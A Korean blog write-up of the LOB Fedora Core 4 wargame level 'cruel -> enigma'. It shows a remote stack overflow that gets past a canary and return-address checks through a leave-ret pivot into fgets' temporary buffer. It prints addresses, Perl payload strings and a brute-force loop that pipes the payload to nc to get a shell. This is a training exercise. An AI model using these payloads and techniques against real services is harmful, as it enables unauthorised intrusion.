Wargame/LOB_FC

[LOB_FC4] cruel -> enigma

bbolmin 2012. 8. 24. 11:00

enigma.c의 소스는 아래와 같다.

 

 

이번에는 리모트 어택이다. vuln함수 부분에서 strcpy로 overflow가 발생하며, canary check, ret check 부분이 추가 되어있다.

 

1. canary 값이 0x31337이여야 한다
2. ret의 첫 1byte가 NULL이면 break당함

 

vuln함수의 스택 구조는 대략 아래와 같을 듯 , ,

 

|---------|
|    *ptr    |
|---------|
|  canary  |
|---------|
|    ret      |
|---------|
|    sfp     |
|---------|
|    buf     |
|---------|

 

pop-pop-leave-ret이나 leave-ret을 써서 공격 흐름을 바꾸면 된다. main의 fgets로 입력 받은 버퍼를 이용하면 널바이트 문제 없이 system의 주소와 "/bin/sh"의 주소를 넣을 수 있다. 그런데 vuln함수에서 memset으로 ptr이 가리키는 부분을 0으로 초기화 해버린다.

 

따라서 1. fgets의 임시 버퍼 공간을 이용하거나, 2. ptr이 가리키는 포인터 주소를 조작하고 main의 buf를 이용하는 방법이 있을 것 같다.  

 

1. fgets의 임시 버퍼 공간을 이용 <- 임시 버퍼의 주소가 랜덤하다.

2. ptr이 가리키는 포인터 주소를 조작하고 main의 buf를 이용 <- 스택의 주소가 랜덤하다.

 

fgets의 임시버퍼 주소 : 0xb7f??000

스택의 주소 : 0xbf??????  

 

변하는 부분이 위와 같았다.  스택의 주소를 맞추는 것은 ...........

fgets 임시버퍼의 경우는 2자리만 맞추면 되서 1/256의 확률이 있다. 그러므로 당연히 fgets의 임시버퍼를 이용하겠다.

----;;;; 아,  어짜피 canary때문에 NULL이 있어서 ptr을 조작할 수 없네요 .;;ㅋㅋ

 

0xb7f12000를 임시버퍼 주소의 시작으로 생각하고 payload를 구성해보자.

 

임시버퍼 : 0xb7f72000(+272)  -> 0xb7f72110

vuln의 leave-ret  : 0x0804858e

canary : 0x31337

system() : 0x7db0e7

&"/bin/sh" : 0x8bd987

 

"a"x260, "\x10\x21\xf7\xb7", "\x8e\x85\x04\x08", "\x37\x13\x03\x00", "ebp2", "\xe7\xb0\x7d\x00","aaaa","\x87\xd9\x8b\x00"

 

공격!!

while [ 1 ]; do (perl -e 'print "a"x260, "\x10\x21\xf7\xb7", "\x8e\x85\x04\x08", "\x37\x13\x03\x00", "aaaa", "\xe7\xb0\x7d\x00","aaaa","\x87\xd9\x8b\x00"'; cat)|nc localhost 7777; done

 

 

 

 

계속해봐도 안되서 삽질을 하다가.... 아래와 같이 execve로 하니가 쉘이 떴다.

(system와 execl로 했을때는 안되던데;; 머가 틀렸는지ㅡ..)

execve : 0x832abc

 

"a"x260, "\x10\x21\xf7\xb7","\x8e\x85\x04\x08","\x37\x13\x03\x00","ebp2", "\xbc\x2a\x83\x00","aaaa","\x87\xd9\x8b\x00\x28\x21\xf7\xb7\x00\x00\x00\x00", "\x87\xd9\x8b\x00\x00\x00\x00\x00"

0xb7f72128은 뒤쪽의 \x87\xd9.... 부분을 가리키는 포인터이다.

 

 

while [ 1 ]; do (perl -e 'print "a"x260, "\x10\x21\xf7\xb7","\x8e\x85\x04\x08","\x37\x13\x03\x00","ebp2", "\xbc\x2a\x83\x00","aaaa","\x87\xd9\x8b\x00\x28\x21\xf7\xb7\x00\x00\x00\x00", "\x87\xd9\x8b\x00\x00\x00\x00\x00"';cat)|nc localhost 7777; done

 

 

드디어 쉘이 떨어졌다 ,,,;